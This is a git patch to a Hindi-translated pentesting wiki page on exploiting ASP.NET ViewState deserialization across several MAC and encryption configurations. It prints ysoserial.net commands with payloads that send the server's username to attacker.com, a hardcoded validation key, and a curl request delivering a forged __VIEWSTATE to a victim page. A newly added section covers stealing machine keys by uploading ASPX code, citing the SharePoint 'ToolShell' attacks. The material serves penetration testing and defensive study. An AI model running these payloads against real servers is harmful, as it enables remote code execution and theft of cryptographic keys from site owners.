From 64d7cec60ac42d856e4748df15fc4664c5488355 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 20:11:33 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p --- .../exploiting-__viewstate-parameter.md | 75 +++++++++++++------ 1 file changed, 54 insertions(+), 21 deletions(-) diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index c3cb6daf9..2abf1fdf8 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -2,6 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} + + ## What is ViewState **ViewState** ASP.NET में वेब पृष्ठों के बीच पृष्ठ और नियंत्रण डेटा बनाए रखने के लिए डिफ़ॉल्ट तंत्र के रूप में कार्य करता है। एक पृष्ठ के HTML के रेंडरिंग के दौरान, पृष्ठ की वर्तमान स्थिति और पोस्टबैक के दौरान संरक्षित किए जाने वाले मानों को base64-encoded स्ट्रिंग्स में सीरियलाइज़ किया जाता है। ये स्ट्रिंग्स फिर छिपे हुए ViewState फ़ील्ड में रखी जाती हैं। @@ -26,29 +28,29 @@ ViewState जानकारी को निम्नलिखित गुण ### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false -यह संभव है कि ViewStateMAC को पूरी तरह से अक्षम किया जाए, `AspNetEnforceViewStateMac` रजिस्ट्री कुंजी को शून्य पर सेट करके: +यह भी संभव है कि ViewStateMAC को पूरी तरह से अक्षम किया जाए, `AspNetEnforceViewStateMac` रजिस्ट्री कुंजी को शून्य पर सेट करके: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` **ViewState विशेषताओं की पहचान करना** -आप BurpSuite के साथ इस पैरामीटर को शामिल करने वाले अनुरोध को कैप्चर करके यह पहचानने की कोशिश कर सकते हैं कि क्या ViewState MAC से सुरक्षित है। यदि Mac का उपयोग पैरामीटर की सुरक्षा के लिए नहीं किया गया है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके इसका लाभ उठा सकते हैं। +आप BurpSuite के साथ इस पैरामीटर को शामिल करने वाले अनुरोध को कैप्चर करके यह पहचानने की कोशिश कर सकते हैं कि क्या ViewState MAC से सुरक्षित है। यदि Mac का उपयोग पैरामीटर की सुरक्षा के लिए नहीं किया गया है, तो आप इसे [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके शोषण कर सकते हैं। ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` ### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server -Developers can **ViewState** को HTTP Request का हिस्सा बनने से **हटाएं** (उपयोगकर्ता को यह कुकी नहीं मिलेगी)।\ -एक व्यक्ति यह मान सकता है कि यदि **ViewState** **उपस्थित नहीं है**, तो उनका कार्यान्वयन **सुरक्षित** है किसी भी संभावित कमजोरियों से जो ViewState deserialization के साथ उत्पन्न हो सकती हैं।\ -हालांकि, ऐसा नहीं है। यदि हम **ViewState parameter** को अनुरोध शरीर में जोड़ते हैं और ysoserial का उपयोग करके बनाई गई अपनी serialized payload भेजते हैं, तो हम अभी भी **कोड निष्पादन** प्राप्त करने में सक्षम होंगे जैसा कि **Case 1** में दिखाया गया है। +डेवलपर्स **ViewState** को HTTP अनुरोध का हिस्सा बनने से **हटा** सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी)।\ +कोई यह मान सकता है कि यदि **ViewState** **उपस्थित नहीं है**, तो उनका कार्यान्वयन **सुरक्षित** है किसी भी संभावित कमजोरियों से जो ViewState deserialization के साथ उत्पन्न हो सकती हैं।\ +हालांकि, ऐसा नहीं है। यदि हम अनुरोध शरीर में **ViewState parameter** जोड़ते हैं और ysoserial का उपयोग करके बनाई गई अपनी सीरियलाइज्ड पेलोड भेजते हैं, तो हम अभी भी **कोड निष्पादन** प्राप्त करने में सक्षम होंगे जैसा कि **Case 1** में दिखाया गया है। ### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false -**विशिष्ट पृष्ठ** के लिए **ViewState MAC** को **सक्षम** करने के लिए हमें एक विशिष्ट aspx फ़ाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है: +एक **विशिष्ट पृष्ठ** के लिए **ViewState MAC** को **सक्षम** करने के लिए हमें एक विशिष्ट aspx फ़ाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है: ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` -हम इसे **overall** एप्लिकेशन के लिए भी कर सकते हैं, इसे **web.config** फ़ाइल में नीचे दिखाए अनुसार सेट करके: +हम इसे **web.config** फ़ाइल में नीचे दिखाए अनुसार सेट करके **कुल** एप्लिकेशन के लिए भी कर सकते हैं: ```xml @@ -59,7 +61,7 @@ Developers can **ViewState** को HTTP Request का हिस्सा ब ``` -चूंकि यह पैरामीटर MAC द्वारा सुरक्षित है, इस बार हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग किया गया कुंजी चाहिए। +चूंकि पैरामीटर MAC से सुरक्षित है, इस बार हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग किया गया कुंजी चाहिए। आप उपयोग की गई कुंजी खोजने के लिए [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का प्रयास कर सकते हैं। ``` @@ -94,31 +96,31 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp ``` ![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png) -यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** के साथ हमले को आगे बढ़ा सकते हैं: +यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** के साथ हमले को आगे बढ़ा सकते हैं। ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --generator = {__VIWESTATEGENERATOR parameter value} ``` -जब `_VIEWSTATEGENERATOR` पैरामीटर **सर्वर द्वारा नहीं भेजा जाता** है, तो आपको **`--generator` पैरामीटर प्रदान करने की आवश्यकता नहीं है, बल्कि ये पैरामीटर प्रदान करने की आवश्यकता है**: +जब `_VIEWSTATEGENERATOR` पैरामीटर **सर्वर द्वारा नहीं भेजा जाता** है, तो आपको `--generator` पैरामीटर **प्रदान करने की आवश्यकता नहीं है** बल्कि इन पैरामीटरों की आवश्यकता है: ```bash --apppath="/" --path="/hello.aspx" ``` -### Test Case: 3 – .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true +### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true इसमें यह ज्ञात नहीं है कि क्या पैरामीटर MAC के साथ सुरक्षित है। तब, मान शायद एन्क्रिप्टेड है और आपको **अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन की आवश्यकता होगी** ताकि आप इस कमजोरियों का लाभ उठा सकें। **इस मामले में** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **मॉड्यूल विकासाधीन है...** -**.NET 4.5 से पहले**, ASP.NET **एक** **अनएन्क्रिप्टेड** \_`__VIEWSTATE`\_ पैरामीटर को उपयोगकर्ताओं से **स्वीकार** कर सकता है **यहां तक कि** यदि **`ViewStateEncryptionMode`** को _**हमेशा**_ पर सेट किया गया है। ASP.NET **केवल जांचता है** कि **`__VIEWSTATEENCRYPTED`** पैरामीटर अनुरोध में **मौजूद है**। **यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो इसे अभी भी संसाधित किया जाएगा।** +**.NET 4.5 से पहले**, ASP.NET **एक** **अनएन्क्रिप्टेड** \_`__VIEWSTATE`\_ पैरामीटर को उपयोगकर्ताओं से **स्वीकृत** कर सकता है **यहां तक कि** यदि **`ViewStateEncryptionMode`** को _**हमेशा**_ पर सेट किया गया है। ASP.NET **केवल** **`__VIEWSTATEENCRYPTED`** पैरामीटर की **उपस्थिति** की **जांच** करता है। **यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो इसे अभी भी संसाधित किया जाएगा।** -इसलिए यदि हमलावर किसी अन्य कमजोरियों जैसे फ़ाइल ट्रैवर्सल के माध्यम से मशीन की प्राप्त करने का तरीका खोज लेते हैं, तो [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड का उपयोग **केस 2** में किया गया, ViewState डेसिरियलाइजेशन कमजोरियों का उपयोग करके RCE करने के लिए किया जा सकता है। +इसलिए यदि हमलावर किसी अन्य कमजोरियों जैसे फ़ाइल ट्रैवर्सल के माध्यम से मशीन की प्राप्ति का एक तरीका खोज लेते हैं, तो [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड का उपयोग **केस 2** में किया गया, ViewState डेसिरियलाइजेशन कमजोरियों का उपयोग करके RCE करने के लिए किया जा सकता है। -- ViewState डेसिरियलाइजेशन कमजोरियों का लाभ उठाने के लिए अनुरोध से `__VIEWSTATEENCRYPTED` पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC सत्यापन त्रुटि लौटाएगा और हमला विफल हो जाएगा। +- ViewState डेसिरियलाइजेशन कमजोरियों का लाभ उठाने के लिए अनुरोध से `__VIEWSTATEENCRYPTED` पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC मान्यता त्रुटि लौटाएगा और हमला विफल हो जाएगा। -### Test Case: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false सिवाय इसके कि दोनों गुण false हों +### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false -हम नीचे दिए गए पैरामीटर को web.config फ़ाइल के अंदर निर्दिष्ट करके ASP.NET फ्रेमवर्क के उपयोग को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है। +हम नीचे दिए गए पैरामीटर को web.config फ़ाइल के अंदर निर्दिष्ट करके ASP.NET ढांचे के उपयोग को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है। ```xml ``` @@ -155,24 +157,55 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In ViewState deserialization भेद्यता का सफल शोषण एक हमलावर-नियंत्रित सर्वर पर एक आउट-ऑफ-बैंड अनुरोध की ओर ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार के शोषण को एक प्रमाणित अवधारणा (PoC) में प्रदर्शित किया गया है, जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक वाले संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया कैसे काम करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए, आप प्रदान किए गए [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) की समीक्षा कर सकते हैं। -### Test Case 6 – ViewStateUserKeys का उपयोग किया जा रहा है +### परीक्षण मामला 6 – ViewStateUserKeys का उपयोग किया जा रहा है **ViewStateUserKey** प्रॉपर्टी का उपयोग **CSRF हमले** के खिलाफ **रक्षा** करने के लिए किया जा सकता है। यदि ऐसा एक कुंजी एप्लिकेशन में परिभाषित की गई है और हम अब तक चर्चा किए गए तरीकों से **ViewState** पेलोड उत्पन्न करने की कोशिश करते हैं, तो **पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा**।\ आपको पेलोड को सही तरीके से बनाने के लिए एक और पैरामीटर का उपयोग करने की आवश्यकता है: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` -### Result of a Successful Exploitation +### सफल शोषण का परिणाम -सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net payload **सफलता** से काम करता है, तो सर्वर “**500 Internal server error**” के साथ प्रतिक्रिया करता है जिसमें प्रतिक्रिया सामग्री “**इस पृष्ठ के लिए राज्य जानकारी अमान्य है और यह भ्रष्ट हो सकती है**” होती है और हमें OOB अनुरोध मिलता है। +सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड **सफलता** से काम करता है, तो सर्वर “**500 आंतरिक सर्वर त्रुटि**” के साथ प्रतिक्रिया करता है जिसमें प्रतिक्रिया सामग्री “**यह पृष्ठ के लिए राज्य जानकारी अमान्य है और यह भ्रष्ट हो सकती है**” होती है और हमें OOB अनुरोध मिलता है। -Check for [further information here]() +[यहां आगे की जानकारी के लिए जांचें]() -## References +### रिफ्लेक्शन के माध्यम से ASP.NET मशीन कुंजियों को डंप करना (SharPyShell/SharePoint ToolShell) + +हमलावर जो लक्षित वेब रूट के अंदर **मनमाने ASPX कोड को अपलोड या निष्पादित** करने में सक्षम हैं, वे सीधे `__VIEWSTATE` को सुरक्षित रखने वाली गुप्त कुंजियों को प्राप्त कर सकते हैं, बजाय इसके कि उन्हें ब्रूटफोर्स किया जाए। एक न्यूनतम पेलोड जो कुंजियों को लीक करता है, रिफ्लेक्शन के माध्यम से आंतरिक .NET कक्षाओं का उपयोग करता है: +```csharp +<%@ Import Namespace="System.Web.Configuration" %> +<%@ Import Namespace="System.Reflection" %> + +``` +पृष्ठ को अनुरोध करने पर **ValidationKey**, **DecryptionKey**, एन्क्रिप्शन एल्गोरिदम और ASP.NET संगतता मोड प्रिंट होते हैं। इन मानों को अब सीधे **ysoserial.net** में फीड किया जा सकता है ताकि एक मान्य, हस्ताक्षरित `__VIEWSTATE` गैजेट बनाया जा सके: +```bash +ysoserial.exe -p ViewState -g TypeConfuseDelegate \ +-c "powershell -nop -c \"whoami\"" \ +--generator= \ +--validationkey= --validationalg= \ +--decryptionkey= --decryptionalg= \ +--islegacy --minify +curl "http://victim/page.aspx?__VIEWSTATE=" +``` +यह **key-exfiltration primitive** 2025 में ऑन-प्रेम SharePoint सर्वरों के खिलाफ बड़े पैमाने पर शोषित किया गया था ("ToolShell" – CVE-2025-53770/53771), लेकिन यह किसी भी ASP.NET एप्लिकेशन पर लागू होता है जहां एक हमलावर सर्वर-साइड कोड चला सकता है। + +## संदर्भ - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) +- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) {{#include ../../banners/hacktricks-training.md}}